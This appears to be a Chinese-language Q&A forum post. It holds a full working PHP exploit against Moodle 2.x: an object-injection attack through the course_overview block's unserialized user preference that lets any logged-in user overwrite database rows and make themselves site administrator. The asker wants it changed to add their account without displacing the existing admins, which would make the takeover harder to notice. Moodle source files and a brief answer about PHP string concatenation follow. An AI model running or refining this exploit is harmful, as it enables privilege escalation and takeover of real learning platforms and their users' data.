我正在测试moodle系统2.x版。
要运行以下脚本,您需要在系统中拥有一个帐户(任何角色)。然后替换会话密钥、userid(都来自登录后的源代码)和moodlesession(来自cookie)。替换它们后,运行脚本并重新记录。
在这个漏洞中,有人可以用sql注入数据库
是否可以在表中的列中追加值的末尾,而不是替换整个值?
列中的值的格式为:1、2、3,这是用户标识。如何通过该脚本添加“,”和新值(整数)
我试过了 $value= $value .', 5' ;
正如gabri所建议的,但它仍然用一个空白和 , 5
下面的scrpipt基本上将用户ID设置为管理员,但会替换任何其他管理员。
是否可以不替换任何其他管理员,而将该用户ID也设置为管理员?
<?php
//defining the required classes for our exploit
namespace gradereport_singleview\local\ui {
class feedback{
}
}
namespace {
class gradereport_overview_external{
}
class grade_item{
}
class grade_grade{
}
// creating a simple httpPost method which requires php-curl
function httpPost($url, $data, $MoodleSession, $json)
{
$curl = curl_init($url);
$headers = array('Cookie: MoodleSession='.$MoodleSession);
if($json){
array_push($headers, 'Content-Type: application/json');
}else{
$data = urldecode(http_build_query($data));
}
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
// creating a simple httpGet method which requires php-curl
function httpGet($url, $MoodleSession)
{
$curl = curl_init($url);
$headers = array('Cookie: MoodleSession='.$MoodleSession);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// curl_setopt($curl, CURLOPT_PROXY, '127.0.0.1:8080'); //un-comment if you wish to use a proxy
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){
//first we create a gradereport_overview_external object because it is supported by the Moodle autoloader and it includes the grade_grade and grade_item classes that we are going to need
$base = new gradereport_overview_external();
// now we create the feedback object which inherits the vulnerable __tostring() method from its parent
$fb = new gradereport_singleview\local\ui\feedback();
//filling the feedback object with the required properties for the exploit to work
$fb -> grade = new grade_grade();
$fb -> grade -> grade_item = new grade_item();
$fb -> grade -> grade_item -> calculation = "[[somestring";
$fb -> grade -> grade_item -> calculation_normalized = false;
//setting the table which we want to alter
$fb -> grade -> grade_item -> table = $table;
//setting the row id of the row that we want to alter
$fb -> grade -> grade_item -> id = $rowId;
//setting the column with the value that we want to insert
$fb -> grade -> grade_item -> $column = $value;
$fb -> grade -> grade_item -> required_fields = array($column,'id');
//creating the array with our base object (which itself is included in an array because the base object has no __tostring() method) and our payload object
$arr = array(array($base),$fb);
//serializing the array
$value = serialize($arr);
//we'll set the course_blocks sortorder to 0 so we default to legacy user preference
$data = array('sesskey' => $sesskey, 'sortorder[]' => 0);
httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
//injecting the payload
$data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value))))));
httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1);
//getting the frontpage so the payload will activate
httpGet($url.'/my/', $MoodleSession);
}
$url = ''; //url of the Moodle site
$MoodleSession = ''; //your MoodleSession cookie value
$sesskey = ''; //your sesskey
$table = "config"; //table to update
$rowId = 25; // row id to insert into. 25 is the row that sets the 'siteadmins' parameter. could vary from installation to installation
$column = 'value'; //column name to update, which holds the userid
$value = 3; // userid to set as 'siteadmins'
update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value);
//reset the allversionshash config entry with a sha1 hash so the site reloads its configuration
$rowId = 375; // row id of 'allversionshash' parameter
update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time()));
//reset the sortorder so we can see the front page again without the payload triggering
$data = array('sesskey' => $sesskey, 'sortorder[]' => 1);
httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0);
//force plugincheck so we can access admin panel
httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession);
}
?>
以下文件是moodle资源(无法更改)
save.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Save course order in course_overview block
*
* @package block_course_overview
* @copyright 2012 Adam Olley <adam.olley@netspot.com.au>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
define('AJAX_SCRIPT', true);
require_once(__DIR__ . '/../../config.php');
require_once(__DIR__ . '/locallib.php');
require_sesskey();
require_login();
$sortorder = required_param_array('sortorder', PARAM_INT);
block_course_overview_update_myorder($sortorder);
locallib.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Helper functions for course_overview block
*
* @package block_course_overview
* @copyright 2012 Adam Olley <adam.olley@netspot.com.au>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_NONE', '0');
define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_ONLY_PARENT_NAME', '1');
define('BLOCKS_COURSE_OVERVIEW_SHOWCATEGORIES_FULL_PATH', '2');
/**
* Display overview for courses
*
* @param array $courses courses for which overview needs to be shown
* @return array html overview
*/
function block_course_overview_get_overviews($courses) {
$htmlarray = array();
if ($modules = get_plugin_list_with_function('mod', 'print_overview')) {
// Split courses list into batches with no more than MAX_MODINFO_CACHE_SIZE courses in one batch.
// Otherwise we exceed the cache limit in get_fast_modinfo() and rebuild it too often.
if (defined('MAX_MODINFO_CACHE_SIZE') && MAX_MODINFO_CACHE_SIZE > 0 && count($courses) > MAX_MODINFO_CACHE_SIZE) {
$batches = array_chunk($courses, MAX_MODINFO_CACHE_SIZE, true);
} else {
$batches = array($courses);
}
foreach ($batches as $courses) {
foreach ($modules as $fname) {
$fname($courses, $htmlarray);
}
}
}
return $htmlarray;
}
/**
* Sets user preference for maximum courses to be displayed in course_overview block
*
* @param int $number maximum courses which should be visible
*/
function block_course_overview_update_mynumber($number) {
set_user_preference('course_overview_number_of_courses', $number);
}
/**
* Sets user course sorting preference in course_overview block
*
* @param array $sortorder list of course ids
*/
function block_course_overview_update_myorder($sortorder) {
$value = implode(',', $sortorder);
if (core_text::strlen($value) > 1333) {
// The value won't fit into the user preference. Remove courses in the end of the list (mostly likely user won't even notice).
$value = preg_replace('/,[\d]*$/', '', core_text::substr($value, 0, 1334));
}
set_user_preference('course_overview_course_sortorder', $value);
}
/**
* Gets user course sorting preference in course_overview block
*
* @return array list of course ids
*/
function block_course_overview_get_myorder() {
if ($value = get_user_preferences('course_overview_course_sortorder')) {
return explode(',', $value);
}
// If preference was not found, look in the old location and convert if found.
$order = array();
if ($value = get_user_preferences('course_overview_course_order')) {
$order = unserialize($value);
block_course_overview_update_myorder($order);
unset_user_preference('course_overview_course_order');
}
return $order;
}
/**
* Returns shortname of activities in course
*
* @param int $courseid id of course for which activity shortname is needed
* @return string|bool list of child shortname
*/
function block_course_overview_get_child_shortnames($courseid) {
global $DB;
$ctxselect = context_helper::get_preload_record_columns_sql('ctx');
$sql = "SELECT c.id, c.shortname, $ctxselect
FROM {enrol} e
JOIN {course} c ON (c.id = e.customint1)
JOIN {context} ctx ON (ctx.instanceid = e.customint1)
WHERE e.courseid = :courseid AND e.enrol = :method AND ctx.contextlevel = :contextlevel ORDER BY e.sortorder";
$params = array('method' => 'meta', 'courseid' => $courseid, 'contextlevel' => CONTEXT_COURSE);
if ($results = $DB->get_records_sql($sql, $params)) {
$shortnames = array();
// Preload the context we will need it to format the category name shortly.
foreach ($results as $res) {
context_helper::preload_from_record($res);
$context = context_course::instance($res->id);
$shortnames[] = format_string($res->shortname, true, $context);
}
$total = count($shortnames);
$suffix = '';
if ($total > 10) {
$shortnames = array_slice($shortnames, 0, 10);
$diff = $total - count($shortnames);
if ($diff > 1) {
$suffix = get_string('shortnamesufixprural', 'block_course_overview', $diff);
} else {
$suffix = get_string('shortnamesufixsingular', 'block_course_overview', $diff);
}
}
$shortnames = get_string('shortnameprefix', 'block_course_overview', implode('; ', $shortnames));
$shortnames .= $suffix;
}
return isset($shortnames) ? $shortnames : false;
}
/**
* Returns maximum number of courses which will be displayed in course_overview block
*
* @param bool $showallcourses if set true all courses will be visible.
* @return int maximum number of courses
*/
function block_course_overview_get_max_user_courses($showallcourses = false) {
// Get block configuration
$config = get_config('block_course_overview');
$limit = $config->defaultmaxcourses;
// If max course is not set then try get user preference
if (empty($config->forcedefaultmaxcourses)) {
if ($showallcourses) {
$limit = 0;
} else {
$limit = get_user_preferences('course_overview_number_of_courses', $limit);
}
}
return $limit;
}
/**
* Return sorted list of user courses
*
* @param bool $showallcourses if set true all courses will be visible.
* @return array list of sorted courses and count of courses.
*/
function block_course_overview_get_sorted_courses($showallcourses = false) {
global $USER;
$limit = block_course_overview_get_max_user_courses($showallcourses);
$courses = enrol_get_my_courses();
$site = get_site();
if (array_key_exists($site->id,$courses)) {
unset($courses[$site->id]);
}
foreach ($courses as $c) {
if (isset($USER->lastcourseaccess[$c->id])) {
$courses[$c->id]->lastaccess = $USER->lastcourseaccess[$c->id];
} else {
$courses[$c->id]->lastaccess = 0;
}
}
// Get remote courses.
$remotecourses = array();
if (is_enabled_auth('mnet')) {
$remotecourses = get_my_remotecourses();
}
// Remote courses will have -ve remoteid as key, so it can be differentiated from normal courses
foreach ($remotecourses as $id => $val) {
$remoteid = $val->remoteid * -1;
$val->id = $remoteid;
$courses[$remoteid] = $val;
}
$order = block_course_overview_get_myorder();
$sortedcourses = array();
$counter = 0;
// Get courses in sort order into list.
foreach ($order as $key => $cid) {
if (($counter >= $limit) && ($limit != 0)) {
break;
}
// Make sure user is still enroled.
if (isset($courses[$cid])) {
$sortedcourses[$cid] = $courses[$cid];
$counter++;
}
}
// Append unsorted courses if limit allows
foreach ($courses as $c) {
if (($limit != 0) && ($counter >= $limit)) {
break;
}
if (!in_array($c->id, $order)) {
$sortedcourses[$c->id] = $c;
$counter++;
}
}
// From list extract site courses for overview
$sitecourses = array();
foreach ($sortedcourses as $key => $course) {
if ($course->id > 0) {
$sitecourses[$key] = $course;
}
}
return array($sortedcourses, $sitecourses, count($courses));
}
block_course_overview.php
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Course overview block
*
* @package block_course_overview
* @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
require_once($CFG->dirroot.'/blocks/course_overview/locallib.php');
/**
* Course overview block
*
* @copyright 1999 onwards Martin Dougiamas (http://dougiamas.com)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class block_course_overview extends block_base {
/**
* If this is passed as mynumber then showallcourses, irrespective of limit by user.
*/
const SHOW_ALL_COURSES = -2;
/**
* Block initialization
*/
public function init() {
$this->title = get_string('pluginname', 'block_course_overview');
}
/**
* Return contents of course_overview block
*
* @return stdClass contents of block
*/
public function get_content() {
global $USER, $CFG, $DB;
require_once($CFG->dirroot.'/user/profile/lib.php');
if($this->content !== NULL) {
return $this->content;
}
$config = get_config('block_course_overview');
$this->content = new stdClass();
$this->content->text = '';
$this->content->footer = '';
$content = array();
$updatemynumber = optional_param('mynumber', -1, PARAM_INT);
if ($updatemynumber >= 0) {
block_course_overview_update_mynumber($updatemynumber);
}
profile_load_custom_fields($USER);
$showallcourses = ($updatemynumber === self::SHOW_ALL_COURSES);
list($sortedcourses, $sitecourses, $totalcourses) = block_course_overview_get_sorted_courses($showallcourses);
$overviews = block_course_overview_get_overviews($sitecourses);
$renderer = $this->page->get_renderer('block_course_overview');
if (!empty($config->showwelcomearea)) {
require_once($CFG->dirroot.'/message/lib.php');
$msgcount = message_count_unread_messages();
$this->content->text = $renderer->welcome_area($msgcount);
}
// Number of sites to display.
if ($this->page->user_is_editing() && empty($config->forcedefaultmaxcourses)) {
$this->content->text .= $renderer->editing_bar_head($totalcourses);
}
if (empty($sortedcourses)) {
$this->content->text .= get_string('nocourses','my');
} else {
// For each course, build category cache.
$this->content->text .= $renderer->course_overview($sortedcourses, $overviews);
$this->content->text .= $renderer->hidden_courses($totalcourses - count($sortedcourses));
}
return $this->content;
}
/**
* Allow the block to have a configuration page
*
* @return boolean
*/
public function has_config() {
return true;
}
/**
* Locations where block can be displayed
*
* @return array
*/
public function applicable_formats() {
return array('my' => true);
}
/**
* Sets block header to be hidden or visible
*
* @return bool if true then header will be visible.
*/
public function hide_header() {
// Hide header if welcome area is show.
$config = get_config('block_course_overview');
return !empty($config->showwelcomearea);
}
}
1条答案
按热度按时间5tmbdcev1#
在php中不能使用“+”来连接,需要使用点。
例如:
也许这是可行的,但很难说没有看到完整的问题。